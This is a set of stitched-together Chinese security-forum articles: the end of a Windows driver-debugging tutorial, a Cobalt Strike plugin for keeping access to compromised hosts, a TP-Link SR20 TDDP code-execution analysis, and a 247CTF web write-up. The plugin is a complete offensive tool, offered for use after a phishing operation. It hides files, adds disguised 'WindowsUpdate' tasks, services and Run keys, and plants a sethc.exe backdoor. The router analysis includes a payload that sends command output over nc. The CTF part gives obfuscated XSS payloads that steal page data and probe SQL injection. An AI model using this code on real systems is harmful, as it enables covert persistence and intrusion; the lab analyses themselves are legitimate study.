按照官方指导，我们将驱动程序作为设备进行运行调试，在此之前需要再提供一台主机作为被调试机(`debugee`)，驱动程序将在被调试机上(`debugee`)进行部署和测试，而本台主机即作为开发主机同时作为调试机(`debugger`)，如下：
首先在被调试机(`debugee`)上也安装上 WDK 环境，随后在 WDK 的安装目录下运行该工具 `WDK Test Target
Setup`，默认路径：`C:\Program Files (x86)\Windows Kits\10\Remote\x64\WDK Test Target
Setup x64-x64_en-us.msi`；在之后调试机(`debugger`)中的 `Visual Studio`
将连接被调试机(`debugee`)的 `WDK Test Target Setup` 的工具，自动完成双机调试环境的配置。
在开发主机上(`debugger`)初始化被调试机的相关信息，在 `项目属性-Driver Install-Deployment`
中添加新设备，我们这里使用网络双机调试的方式，默认参数即可：
随后将自动完成配置，如下：
在 `Visual Studio` 中将被调试机(`debugee`)添加完毕后，在如下窗口选择该主机并设置驱动的硬件 ID 为
`Root\KmdfHelloWorld`，如下：
配置完成后，我们在 `Visual Studio` 菜单中 `生成-部署解决方案`，驱动程序将自动部署在被调试机上(`debugee`)并进行测试运行：
在被调试机(`debugee`)上我们在设备管理器中可以看到 `KmdfHelloWorld` 已经成功部署了：
如果想调试驱动程序，则可以使用 WinDBG 依据以上的双机调试环境对驱动程序进行调试。
### 0x04 本机调试驱动程序
官方提供的驱动程序部署和测试方法，虽然有效的隔离开发环境和调试环境，但实在是过于繁琐了，更不用说其中双机调试环境下的各种问题。而驱动程序还可以以服务的方式进行运行，我们通过这种方式可以更加方便的在本机调试驱动程序。
> 在日常安全工作中，我更喜欢使用这种方式，因为大多数情况我只需要工作在内核层的驱动代码，而不关心其是否是完整的 windows
> 驱动设备，这种方式能帮助我快速进行安全验证工作。
创建 KMDF 项目并编写代码如下：
#include <ntddk.h>
#include <wdf.h>
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "test: unload driver\n"));
}
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "test: driver entry\n"));
DriverObject->DriverUnload = OnUnload;
return STATUS_SUCCESS;
}
在「配置管理器」中设置为 `Debug/x64`，编译生成项目。
在运行测试前，我们需要在本机(即开发主机)上打开测试模式(重启生效)，使得操作系统可以加载我们编译的驱动程序，使用管理员权限打开 powershell：
# 打开测试模式
bcdedit /set testsigning on
重启主机后，使用管理员权限打开 powershell，通过 `sc.exe`
命令为驱动程序创建服务(命令详解请参考：https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create)：
# 创建服务名为 test，类型为 kernel，启动方式为 demand 的服务，并指定驱动程序路径
# (注意参数等号后必须有一个空格)
sc.exe create test type= kernel start= demand binPath= C:\Users\john\Desktop\workspace\kmdf_test\x64\Debug\kmdf_test\kmdf_test.sys
# 使用 queryex 查看创建的服务信息
sc.exe queryex test
创建服务如下：
随后便可以使用 `sc.exe` 命令启动驱动程序运行，并使用 `DebugView` 查看调试输出(需要勾选 `Capture Kernel` 和
`Enable Verbose Kernel Output` 才能看到输出)：
# 启动运行驱动程序
sc.exe start test
# 停止运行驱动程序
sc.exe stop test
运行如下：
当我们更新了驱动代码、编译项目后，可以再次 `start/stop` 这个服务，便可以快捷的进行驱动程序代码的测试和调试。
### 0x05 References
<https://learn.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/>
<https://github.com/microsoft/Windows-driver-samples>
<https://visualstudio.microsoft.com/>
<https://learn.microsoft.com/zh-cn/windows-hardware/drivers/download-the-wdk>
<https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create>
* * * | 社区文章 |
本文暂不涉及，不考虑免杀，仅为了方便尽可能的保持重启后权限还在。
### 0x01 前言
Cobalt Strike
一款以Metasploit为基础的GUI框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，exe、powershell木马生成等。笔者在最近一次钓鱼活动中忘记添加自启直接就重启了目标机器，导致权限丢失，很难受，所以决定自己撸一个一键维权的插件，避免再出现此类低级错误。
### 0x02 权限维持
#### 隐藏文件
windows首选`attrib`，使用一下命令可直接添加隐藏属性。
attrib C:\test.exe +s +h
`+s`是设置系统属性，`+h`设置隐藏属性，如果需要取消将`+`换成`-`即可。
#### 定时任务
`schtasks`允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。替代 AT.exe，使用一下命令可以快捷的创建一个定时任务。
schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1
`/create`是创建新任务，`/TN`是`TaskName`的简写，也就是新建的任务的名字，在系统必须唯一，`/TR`是`TaskRun`的简写，即为需要运行的程序的路径和文件名。`/SC`是`schedule`的简写，指定执行的频率的时间单位，
`/MO`是`modifier`的缩写，可以理解为执行的频率的时间数值。如果任务已经在执行`schtasks`并不会重复拉起任务。相比`at`来说，`schtasks`的优势在于可以周期运行，重复检索任务是否处于运行状态，可使用下面的命令删除：
schtasks /delete /tn WindowsUpdate
#### 注册表
windows系统的开机项位于注册表的：
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一个字符串值并修改数值数据为程序路径即可。命令行：
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f
#### shift后门
挺老的东西了，需要system权限才能实现，如果平通用户的权限无法修改，其他文件被删时远程连上去触发执行一下也不是坏事。
#### Windows服务
在`windows`上系统服务可用SC命令进行增删改。
命令行：
sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate
需要注意参数值与等号之间要有空格。使用Windows服务进行自启有个很有意思的地方，默认是以`system`权限启动，也是“提权”的一种不错的方式。另外有个小坑，`sc`在`powershell`中传参有问题，执行不成功，必须在`cmd`里执行。笔者刚开始写插件是全程用`bpowershell`函数执行命令，在这儿卡了有一会儿，相当难受。
#### 自启目录
本质上来说和注册表修改是同一个，一个是复制文件，一个是修改注册表。接受方式不同，随便一起写了。命令行：
copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h
这里有个值得提起问题，如果用户不是`Administrator`，目录得改。
### 0x03 自动化
直接贴成品吧：
popup beacon_bottom {
menu "权限维持" {
item "设置路径" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}
item "隐藏文件" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}
item "定时任务" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}
item "注册表"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}
item "SC服务"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
}
}
item "shift启动"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}
item "自启动目录"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}
item "懒人攻略" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}
}
}
先设置好远控所在的目录，然后执行懒人攻略，重启正常情况下即可弹回四个会话。（一个`system`，三个`admin`）
Gayhub：
https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna | 社区文章 |
# TP Link SR20 ACE漏洞分析
这个漏洞是`Matthew
Garrett`在发现漏洞并将漏洞报告给官方后未得到官方回复后，将其漏洞信息公布在了个人[网站](https://mjg59.dreamwidth.org/51672.html)上，404的[大佬](https://paper.seebug.org/879/)在复现漏洞的时候官方还未修复漏洞，但是我下载固件的时候看到了官方已经发布了最新的固件，且它的日志为`Fixed
the zero-day ACE vulnerability`，即修复了0day的ace漏洞，现在复现分析这个漏洞仅是以学习的目的。
## 前置知识
在开始进行漏洞复现之前，先对前置知识进行一定的介绍。
### TDDP协议
首先是TDDP协议，TDDP协议全称是（TP-Link Device Debug Protocol）。该协议是TP-Link申请了[专利](https://patents.google.com/patent/CN102096654A/en)的协议，该协议基于UDP协议，端口为1040端口。
根据[文章](https://www.coresecurity.com/blog/story-about-tp-link-device-debug-protocol-tddp-research)，tddp协议格式如下。
第一个字节为version，即版本。tddp协议有两个版本：`version1`和`version2`。其中`version1`不支持身份验证和对数据包载荷的加密，而`version2`要求身份验证和加密。也正是因为`version1`不要求身份的认证即可对设备进行调试，导致出现漏洞。
## C程序调用lua脚本
要介绍一点基本的c程序调用lua脚本的原因在于该漏洞的利用，最后利用了c程序调用lua脚本。
安装lua：
sudo apt-get install libreadline7 libreadline-dev
curl -R -O http://www.lua.org/ftp/lua-5.3.5.tar.gz
tar zxf lua-5.3.5.tar.gz
cd lua-5.3.5
sudo make linux test
编写一个lua脚本demo，并命名为`demo.lua`：
function config_test(para1, para2)
os.execute("whoami")
os.execute(para1)
os.execute(para2)
end
c语言调用该demo程序的示例为：
#include <lualib.h>
#include <lauxlib.h>
#include <lua.h>
int main()
{
lua_State *L = luaL_newstate();
//加载基本库
luaL_openlibs(L);
if ( !luaL_loadfile(L, "./demo.lua") )
lua_pcall(L, 0, 0, 0); //加载配置文件
lua_getglobal(L, "config_test"); //函数压栈
lua_pushstring(L, "ls"); //第一个参数"ls"压栈
lua_pushstring(L, "ifconfig"); //第二个参数压栈
lua_call(L, 2, 0); //调用函数,2个参数，0个返回值
lua_close(L);
return 0;
}
编译程序：
gcc -o call call.c -I/usr/local/include/ -L/usr/local/lib/ -llua -lm -ldl
最终运行`./call`，可以看到成功执行了相应命令。
## 漏洞复现
根据[文章](https://paper.seebug.org/879/)的描述，漏洞的基理为：TP-Link SR20 设备运行了 V1 版本的 TDDP
协议，V1 版本无需认证，只需往 SR20 设备的 UDP 1040 端口发送数据，且数据的第二字节为 `0x31` 时，SR20
设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行，这就导致存在远程代码执行漏洞。
首先是对漏洞进行复现，后面再对漏洞原理进行分析。
首先是固件下载，固件可在[官网](https://www.tp-link.com/us/support/download/sr20/#Firmware)进行下载。最新的固件版本为[SR20(US)_V1_190401](https://static.tp-link.com/2019/201904/20190402/SR20\(US)_V1_190401.zip)，此为已经修复漏洞的版本。存在漏洞的版本为[SR20(US)_V1_180518](https://static.tp-link.com/2018/201806/20180611/SR20\(US)_V1_180518.zip)。将两个版本的固件都下下来，后续还会使用bindiff对二者进行比对，来看是如何修复该漏洞的。
接着是环境搭建，最主要的是qemu和binwalk的安装。环境搭建的过程可以参考之前的[文章](https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow)，同时一键安装iot环境的[脚本](https://github.com/ray-cp/Tool_Script/blob/master/iot_env_install.md)，也可以用用，虽然不全，但是也包含了一些，还需要手动操作的就是以系统模式运行qemu的时候还需要配置下网卡。
固件和环境都配好了以后，接下来就是解压固件，使用以下命令将漏洞版本的文件系统提取出来：
binwalk -Me sr20.bin
然后查看文件类型：
$ file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
可以看到文件是基于arm 32位的小端ELF文件。
接着使用qemu系统模式运行起来一个arm虚拟机，虚拟机的下载地址为<https://people.debian.org/~aurel32/qemu/armhf/>，运行命令为（需配置好网络，可参考[文章](https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#qemu模拟运行mips系统)）：
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
arm虚拟机的账号名和密码都是root，然后就是将文件系统拷贝至虚拟机里面。我之前都是用scp来传递文件的，师傅的文章是用SimpleHTTPServer来传的。
在宿主机中压缩文件系统并启动web服务：
tar jcf tar -jcf squashfs-root.tar.bz2 squashfs-root
python -m SimpleHTTPServer 80
然后在qemu虚拟机中下载文件系统:
wget http://192.168.10.1/squashfs-root.tar.bz2
tar jxf squashfs-root.tar.bz2
接着使用 chroot 切换根目录固件文件系统。
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell
使用 chroot 后，系统读取的是新根下的目录和文件，也就是固件的目录和文件。 chroot 默认不会切换 /dev 和 /proc,
因此切换根目录前需要现挂载这两个目录。
到此可以看到已经切换到了该固件的环境
root@debian-armhf:~/work# mount -o bind /dev ./squashfs-root/dev/
root@debian-armhf:~/work# mount -t proc /proc/ ./squashfs-root/proc/
root@debian-armhf:~/work# chroot squashfs-root sh
BusyBox v1.19.4 (2018-05-18 20:52:39 PDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ #
然后宿主机中安装ftp服务器：
sudo apt install atftpd
配置ftp服务：
vim /etc/default/atftpd
# 修改USE_INETD=true 改为 USE_INETD=false
# 修改修改/srv/tftp为相应的ftp目录，我这里为/opt/ftp
配置目录
sudo mkdir /opt/ftp_dir
sudo chmod 777 /opt/ftp_dir
启动服务
sudo systemctl start atftpd
使用`sudo systemctl status atftpd`可查看服务状态。如果执行命令 `sudo systemctl status atftpd`
查看 atftpd 服务状态时，提示 `atftpd: can't bind port :69/udp` 无法绑定端口，可以执行 `sudo
systemctl stop inetutils-inetd.service` 停用 `inetutils-inetd` 服务后，再执行 `sudo
systemctl restart atftpd` 重新启动 atftpd 即可正常运行 atftpd。
前面都是准备环境的环节，接着就是复现漏洞的真正操作部分了。
首先是往ftp服务器的目录中写入payload文件，文件需由lua语言编写，且包含`config_test`函数，实现功能可以随意，此处使用nc连接。
function config_test(config)
os.execute("whoami | nc 192.168.10.1 7777")
end
接着在虚拟机中启动tddp程序。
然后在宿主机中监听7777端口。
最后执行poc，就可以看到nc连回的结果了，我后面使用pwntools重写了之前的poc，因此这里就不贴出poc了，在后面再给出链接。
## 漏洞分析
根据漏洞描述以及相应的报告知道了漏洞出现在程序`tddp`中，搜索该程序，得到该程序的路径为`/usr/bin/tddp`，将该程序拖入IDA中进行分析。
程序规模不大，看起来和一般的pwn题差不多，所以我也就从main函数开始看了，经过重命名的main函数如下。
关键代码在`tddp_task_handle`中，跟进去该函数，看到函数进行了内存的初始化以及socket的初始化，在端口1040进行了端口监听，同时也可以看到这些字符串也是poc执行代码中命令行界面中显示出来的字符串。
进入的关键函数为`tddp_type_handle`，跟进去该函数。
可以看到该在代码里首先使用`recvfrom`接收了最多0xAFC8字节的数据，然后判断第一个字节是否为1或2，根据前面说明的tddp协议的格式，知道第一个字节为`version`字段。图中截出的为`version`为1的情况，进入到`tddp_version1_type_handle`函数中。跟进去该函数。
int __fastcall tddp_version1_type_handle(tddp_ctx *ctx, _DWORD *count)
{
uint32_t v2; // r0
__int16 v3; // r2
uint32_t v4; // r0
__int16 v5; // r2
_DWORD *v7; // [sp+0h] [bp-24h]
char *v9; // [sp+Ch] [bp-18h]
char *v10; // [sp+10h] [bp-14h]
int v11; // [sp+1Ch] [bp-8h]
v7 = count;
v10 = ctx->rev_buff;
v9 = ctx->some_buff;
ctx->some_buff[0] = 1;
switch ( ctx->rev_buff[1] ) // check type
{
case 4:
printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", "tddp_parserVerOneOpt", 697);
v11 = CMD_AUTO_TEST(ctx);
break;
case 6:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
v11 = CMD_CONFIG_MAC(ctx);
break;
case 7:
printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", "tddp_parserVerOneOpt", 648);
v11 = CMD_CANCEL_TEST(ctx);
if ( !ctx || !(ctx->field_2C & 4) || !ctx || !(ctx->field_2C & 8) || !ctx || !(ctx->field_2C & 0x10) )
ctx->field_2C &= 0xFFFFFFFD;
ctx->rev_flag = 0;
ctx->field_2C &= 0xFFFFFFFE;
break;
case 8:
printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", "tddp_parserVerOneOpt", 702);
ctx->field_2C &= 0xFFFFFFFE;
v11 = 0;
break;
case 0xA:
printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
v11 = CMD_GET_PROD_ID(ctx);
break;
case 0xC:
printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
if ( ctx && ctx->field_2C & 2 )
{
v9[1] = 4;
v9[3] = 0;
v9[2] = 1;
v2 = htonl(0);
*((_WORD *)v9 + 2) = v2;
v9[6] = BYTE2(v2);
v9[7] = HIBYTE(v2);
v3 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
v9[8] = v10[8];
v9[9] = HIBYTE(v3);
v11 = 0;
}
else
{
ctx->field_2C &= 0xFFFFFFFE;
v11 = -10411;
}
break;
case 0xD:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
v11 = CMD_CONFIG_PIN(ctx);
break;
case 0x30:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
v11 = CMD_FTEST_USB(ctx);
break;
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
v11 = CMD_FTEST_CONFIG(ctx);
break;
default:
printf("[%s():%d] TDDPv1: receive unknown type: %d\n", 103928, 713, (unsigned __int8)ctx->rev_buff[1], count);
v9[1] = v10[1];
v9[3] = 2;
v9[2] = 2;
v4 = htonl(0);
*((_WORD *)v9 + 2) = v4;
v9[6] = BYTE2(v4);
v9[7] = HIBYTE(v4);
v5 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
v9[8] = v10[8];
v9[9] = HIBYTE(v5);
v11 = -10302;
break;
}
*v7 = ntohl(((unsigned __int8)v9[7] << 24) | ((unsigned __int8)v9[6] << 16) | ((unsigned __int8)v9[5] << 8) | (unsigned __int8)v9[4])
+ 12;
return v11;
程序判断接收数据的第二字节，并根据其类型调用相关代码。根据协议格式，第二字节为`type`字段，同时根据poc，知道了出问题的类型为`0x31`。看上面的代码我们知道`0x31`对应为`CMD_FTEST_CONFIG`，看专利说明知道该字段为配置程序：
[0049] For setting the configuration information and the configuration information, without subtype. Thus, this type of packet subtype SubType value is cleared (0x00)
跟进去该函数看是如何实现的：
可以看到该函数中就从数据中获取了字符串并形成命令`cd /tmp;tftp -gr %s
%s`，即实现了使用`tftp`去连接过来的ip地址中下载相应的文件，并最终通过c代码调用该文件中的`config_test`函数，从而实现任意代码执行。
事实上，根据最终使用的是`execve`函数来执行tftp下载，该漏洞也可以形成一个命令注入漏洞。
至此，漏洞分析结束。
## 补丁比对
最新版本的固件已经修复了该漏洞，我想比对下厂商是如何修复该漏洞的。用bindiff将该程序与最新版本的固件中的tddp程序进行对比。
可以看到`tddp_version1_type_handle`存在一定的差距，查看该函数的流程。
可以看到流程图中部分的基本块被删除了，猜测是直接将`0x31`字段对应的基本块给删掉了来修复该漏洞。
点击各个基本块，可以看到确实是`CMD_FTEST_CONFIG`基本块被删掉了。同时也可以在ida中确认该基本块被删除。
## 小结
该漏洞只能称之为任意命令执行（ACE）而不是远程命令执行（RCE）的原因似乎是因为TDDP 服务只能通过有线网络访问，连 Wi-Fi
也不能访问，没有真机，不好确认，有点可惜。
总的来说，漏洞还是很简单的。tddp第一版协议竟然未对用户进行验证就允许执行如此强大的调试功能，实在是有点不应该。
相关代码和脚本在我的[github](https://github.com/ray-cp/Vuln_Analysis/tree/master/TP-Link_sr20_tddp_ACE)
## 参考链接
1. [重现 TP-Link SR20 本地网络远程代码执行漏洞](https://paper.seebug.org/879/)
2. [A Story About TP-link Device Debug Protocol (TDDP) Research](https://www.coresecurity.com/blog/story-about-tp-link-device-debug-protocol-tddp-research)
3. [Data communication method, system and processor among CPUs](https://patents.google.com/patent/CN102096654A/en)
4. [[Remote code execution as root from the local network on TP-Link SR20 routers](https://mjg59.dreamwidth.org/51672.html)]
5. [Download for SR20 V1](https://www.tp-link.com/us/support/download/sr20/#Firmware)
6. [lua学习笔记3-c调用lua](https://www.jianshu.com/p/008541576635)
7. [MIPS漏洞调试环境安装及栈溢出](https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow) | 社区文章 |
# 247CTF的9个web题目分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近朋友推荐几个web题目，都是这个平台的，感觉有些题目还不错，web有十个，有一个要用机器学习识别验证码，就没搞，就写了九个，还是学到了一些骚思路的，还是太菜了
地址<https://247ctf.com/>
## HELICOPTER ADMINISTRATORS——Hard
### 考点
* 从XSS入手，利用SSRF去访问后端的一个有SQLite注入的查询服务
* XSS=>SSRF=>SQLite注入
### 描述
This applications administrators are very aggressive. They will immediately
view any page you report. Can you trick them into disclosing data they
shouldn’t?
### 题目分析
打开靶机发现有三个用户是可以查看的，不能查看Admin
在每个用户页面有两个功能，一个是`Comment`，用来留言，另一个是`Report`，用来向后端的bot提交页面，因为题目描述中说了`They will
immediately view any page you
report.`，所以这大概率是个XSS。直接提交`<script>alert(1)</script>`发现是被ban掉的，试了一下发现ban掉了`svg`、`alert`等等
可以用`<style>`和`atob`函数去bypass，`<style
onload=eval(atob("YWxlcnQoMSkK"));></style>`
成功XSS，但是还是访问不了Admin。于是尝试一下bot是否可以访问其他用户
payload
<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsIi9jb21tZW50LzIiLHRydWUpOwp2YXIgcGFyYW1zID0gImNvbW1lbnQ9aGFja2VkIjsKeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKeGhyLnNlbmQocGFyYW1zKTs="));></style>
var xhr = new XMLHttpRequest();
xhr.open("POST","/comment/2",true);
var params = "comment=hacked";
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send(params);
在user2发现了两个hacked，一次是提交comment之后自动刷新造成的，一次是bot访问造成的
也就是说，可以利用XSS去访问Admin，然后将结果返回到其它用户的comment处
<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp2YXIgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiR0VUIiwgIi91c2VyLzAiLCB0cnVlKTsKeGhyLnNlbmQoKTsKeGhyLm9ubG9hZCA9IGZ1bmN0aW9uKCl7CnZhciByZXNwb25zZWZyb21wYWdlID0geGhyLnJlc3BvbnNlOwp4aHIyLm9wZW4oIlBPU1QiLCIvY29tbWVudC8yIix0cnVlKTsKdmFyIHBhcmFtcyA9ICJjb21tZW50PSIgKyBlbmNvZGVVUkkoYnRvYShyZXNwb25zZWZyb21wYWdlKSk7CnhocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp4aHIyLnNlbmQocGFyYW1zKTt9"));></style>
var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("GET", "/user/0", true);
xhr.send();
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/2",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}
然后可以在user2处看到返回的经过base64编码的html，解码之后就是原来的页面。
不难在返回的html中发现，有个form表单，提交的地址是`/secret_admin_search`，是一个查找的功能，那这里可能会有注入
直接访问会提示不是Admin，并且是json格式的数据
就还要利用上面的方式，将结果输出到其它用户的comment处
<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp2YXIgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsICIvc2VjcmV0X2FkbWluX3NlYXJjaCIsIHRydWUpOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp2YXIgcGFyYW1ldGVycyA9ICJzZWFyY2g9IiArIGVuY29kZVVSSSgiOyciKTsKeGhyLnNlbmQocGFyYW1ldGVycyk7Cnhoci5vbmxvYWQgPSBmdW5jdGlvbigpewp2YXIgcmVzcG9uc2Vmcm9tcGFnZSA9IHhoci5yZXNwb25zZTsKeGhyMi5vcGVuKCJQT1NUIiwiL2NvbW1lbnQvMyIsdHJ1ZSk7CnZhciBwYXJhbXMgPSAiY29tbWVudD0iICsgZW5jb2RlVVJJKGJ0b2EocmVzcG9uc2Vmcm9tcGFnZSkpOwp4aHIyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKeGhyMi5zZW5kKHBhcmFtcyk7fQ=="));></style>
var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var parameters = "search=" + encodeURI(";'");
xhr.send(parameters);
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/3",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}
返回结果解码之后是SQLite的报第一个错误，把SQL语句改成`1' union select 1,2,3--`报第二个错误，那就说明可能是数字型注入。
用`1 union select 1,2,3--`返回的是列错误，说明是数字型，并且列数不是3，测试了一下，列是6
{"message":"SQLite error: near \";\": syntax error","result":"error"}
{"message":"SQLite error: unrecognized token: \"' union select 1,2,3--\"","result":"error"}
{"message":"SQLite error: SELECTs to the left and right of UNION do not have the same number of result columns","result":"error"}
var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var parameters = "search=" + encodeURI("1 union select 1,2,3,4,5,6--");
xhr.send(parameters);
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/3",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}
